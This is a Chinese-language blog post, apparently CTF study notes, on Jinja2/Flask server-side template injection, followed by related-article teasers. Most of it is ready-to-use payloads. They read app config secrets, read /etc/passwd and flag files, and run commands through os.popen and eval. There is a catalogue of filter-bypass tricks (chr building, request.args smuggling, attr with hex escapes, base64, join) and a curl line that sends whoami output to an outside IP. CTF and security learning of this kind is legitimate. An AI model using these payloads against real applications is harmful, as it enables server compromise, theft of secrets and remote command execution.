SSTI

article/2025/10/10 3:50:59

模板注入在py2和py3中有些不同,但是没有本质上的区别。
模板注入的流程:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法:
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用

获取当前配置

在题目中看到app.config['FLAG'] = os.environ.pop('FLAG'),就说明在当前配置文件中存在flag。
1、直接调用config
{{config.FLAG}}或者{{config["FLAG"]}}获取flag。
2、通过python自带函数url_for、get_flashed_messages等获取当前配置。
在题目中常常会过滤config、self,要获取配置信息,就必须从它的上部全局变量,通过访问current_app来找到flag。

{{url_for.__globals__["current_app"].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

3、使用self

{{self.__dict__._TemplateReference__context.config}}

4、使用""、[]、{}等数据结构

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

例题:[WesternCTF2018]shrine
在这里插入图片描述
给出源代码,看到flask和app.config['FLAG'] = os.environ.pop('FLAG'),应该就是flask模板注入,然后从配置文件中找到flag。模板注入点在/shrine/路径下,并且ban了config和self。
在这里插入图片描述判断模板注入存在,然后直接用payload打。

{{url_for.__globals__["current_app"].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

只有这两个可以用。虽然可以找到<type ‘object’>父类,但是找不到子类。
在这里插入图片描述在这里插入图片描述所以不能使用数据结构的方法。

文件读取

在本地第40个子类为file类,可以进行文件读取。
payload:

''.__class__
''.__class__.__mro__(找父类)
''.__class__.__mro__[1].__subclasses__()(找子类)
''.__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()

在这里插入图片描述在本地找子类脚本

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():try:if 'file' in str(item):print (num,item)num+=1except:print ('-')num+=1

积累几个文件读取的payload:(中括号的数字是动态变化的,具体要根据题目确定,可以burp爆破,有很多可用子类,找open)
在这里插入图片描述

builtins是Python中的一个模块。该模块提供对Python的所有“内置”标识符的直接访问;例如,builtins.open 是内置函数的全名 open()。同理还有eval、exec。

{{''.__class__.__mro__[1].__subclasses__()[65].__init__.__globals__.__builtins__.open("/flag").read()}}

命令执行

可以通过找os类来进行命令执行,每个题目中的os类序列号都不相同,可以通过写脚本或者burp爆破1-500,都比较快。
用burp爆破找os模块,每个题可以找到好多个可用模块.
在这里插入图片描述

在这里插入图片描述
payload:

''.__class__.__mro__[1].__subclasses__()[221].__init__.__globals__.os.popen("ls").read()
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__('os').popen("ls").read()}}

编程实现:不用自己去找类

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

SSTI的简单绕过

绕过" ’

最前面的可以替换成数组、字典、数字0 后面引号绕过:1.request.args
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__(request.args.arg1)}}&arg1=os//{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__('os')}}
2.利用python自带chr()函数
首先用burp测试一下chr函数然后拼接:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

绕过[]

1.利用getitem
{{''.__class__.__mro__.__getitem__(1)}}//{{''.__class__.__mro__[1]}}
绕过{{}}{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl+http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
︷︷config︸︸
{{config}}
相当于把执行结果外带出来

绕过__

同样用request绕过
{{''[request.args.arg1][request.args.arg2]][1]}}&arg1=__class__&arg2=__mro__//{{''.__class__.__mro__[1]}}

绕过.

1.利用[]
{{''["__class__"]}}
2.getattr
{{getattr('',"__class__")}}  //{{''.__class__}}
3.attr
{{''|attr('__class__')}}     //{{''.__class__}}{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}

绕过关键字

过滤为空的话直接双写绕过
1.使用[]
{{""["__cla"+"ss__"]}}
2.不使用[]
{{"".__getattribute__("__cla"+"ss__")}}
3.使用request
{{"".__getattribute__(request.args.a)}}&a=__class__
4.编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}
//{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
5.|join
["a", "b", "c"]|join //  abc
{{request|attr(["_"*2,"class","_"*2]|join)}}
//{{request.__class__}}

自动索引

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

http://chatgpt.dhexx.cn/article/meGC35td.shtml

相关文章

SSTI模板注入及绕过姿势(基于Python-Jinja2)

前言&#xff1a;​SSTI&#xff08;服务端模板注入&#xff09;&#xff0c;已然不再是一个新话题&#xff0c;近年来的CTF中还是也经常能遇到的&#xff0c;比如护网杯的easy_tonado、TWCTF的Shrine&#xff0c;19年的SCTF也出了Ruby ERB SSTI的考点&#xff1b;本篇对这部分…

SSTI (服务器模板注入)

先来一波flask ssti漏洞的代码。 #python3 #Flask version:0.12.2 #Jinja2: 2.10 from flask import Flask, request from jinja2 import Template app Flask(__name__) app.route("/") def index():name request.args.get(name, guest)t Template("Hello &…

初步认识SSTI

SSTI简介 SSTI&#xff0c;即服务端模板注入&#xff0c;起因是服务端接收了用户的输入&#xff0c;将其作为 Web 应用模板内容的一部分&#xff0c;在进行目标编译渲染的过程中&#xff0c;执行了用户插入的恶意内容&#xff0c;从而导致各种各样的问题。 Python SSTI(flask…

ISCC SSTI

先找参数吧&#xff0c;通过信息搜集&#xff0c;参数是xiaodouni 就是小豆泥的英文&#xff0c;这个是暹罗猫的一个名字吧 然后直接放两个payload的吧 看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路&#xff0c;这里就不再解释了。 {%set pp(dict(popa))|join%} …

SSTI 学习笔记

PHP SSTI(Twig) 学习文章 进入环境&#xff0c;左上角有flag,hint 都检查看看 flag页面显示ip&#xff0c;hint页面源代码有提示 考虑XFF头或者referer头 测试一下 注&#xff1a;这里不用加上“&#xff1b;” 出来了 python flask ssti 学习文章 原理&#xff1a;因为对输…

浅学Go下的ssti

前言 作为强类型的静态语言&#xff0c;golang的安全属性从编译过程就能够避免大多数安全问题&#xff0c;一般来说也唯有依赖库和开发者自己所编写的操作漏洞&#xff0c;才有可能形成漏洞利用点&#xff0c;在本文&#xff0c;主要学习探讨一下golang的一些ssti模板注入问题…

SSTI——java里的ssti

1.Velocity 2.FreeMarker 因为从来没接触过java语言 所以对这些也是基本上一窍不通 这里只简单的提及 不做具体介绍 会找一下题来做 但是没有找到有关java ssti的题目 confusion1 看一下描述 打开题目 没发现什么东西 但是 login register页面显示访问不成功 查看源代码找到…

详解SSTI模板注入

详解SSTI模板注入 SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANG SSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承 寻找Python-SSTI攻击载荷的过程攻击载荷过程常用的目标函数常见的中…

web安全-SSTI模板注入漏洞

一.初识SSTI 1.什么是SSTI注入&#xff1f; SSTI模板注入(Server-Side Template Injection)&#xff0c;通过与服务端模板的输入输出交互&#xff0c;在过滤不严格的情况下&#xff0c;构造恶意输入数据&#xff0c;从而达到读取文件或者getshell的目的。 2.SSTI漏洞成因 ​…

BugKu:Simple_SSTI(SSTI模板注入)

目录 1.Simple_SSTI_1 2.Simple_SSTI_2 1.Simple_SSTI_1 点击链接进入&#xff0c;题目说&#xff1a; You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看&#xff0c;也可以右击页面--->“检查” 如图所示&#xff0c;我…

SSTI模板注入绕过(进阶篇)

文章目录 语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性 下面的内容均以jinja2为例&#xff0c;根据官方文档来探寻绕过方法 文档链接 默认大家都已经可以利用没有任何过滤的模板注入 语法 官方文档对于模板的语法介绍如下 {% ... %} for State…

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时&#xff0c;则会造成模板注入 比如render_template_string函数&#xff0c;当参数可控时&#xff0c;会造成模板注入 在Python的ssti中&#xff0c;大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一&#xff0c;Simple_SSTI_1 二&#xff0c;Simple_SSTI_2 一&#xff0c;Simple_SSTI_1 首先打开场景&#xff1a; 然后F12查看一下源码&#xff1a; 于是通过百度相关知识寻找线索&#xff1a; 1&#xff0c;SSTI &#xff1a;服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染&#xff0c;当处理不得当&#xff0c;未进行语句过滤&#xff0c;用户输入{{控制语句}}&#xff0c;会导致渲染出恶意代码&#xff0c;形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当&#xff0c;导致用户输入可以修改服务端模版的执行逻辑&#xff0c;从而造成XSS,任意文件读取&#xff0c;代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样&#xff0c;Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来&#xff0c;除非你的的模板文件修改&#xff0c;否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结&#xff1a;SSTI的理解&#xff1a;SSTI引发的真正原因&#xff1a;render_template渲染函数是什么&#xff1a;render_template&#xff1a;注入的思想&#xff1a;playload 娓娓道来&#xff1a;魔术对象&#xff1a;用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…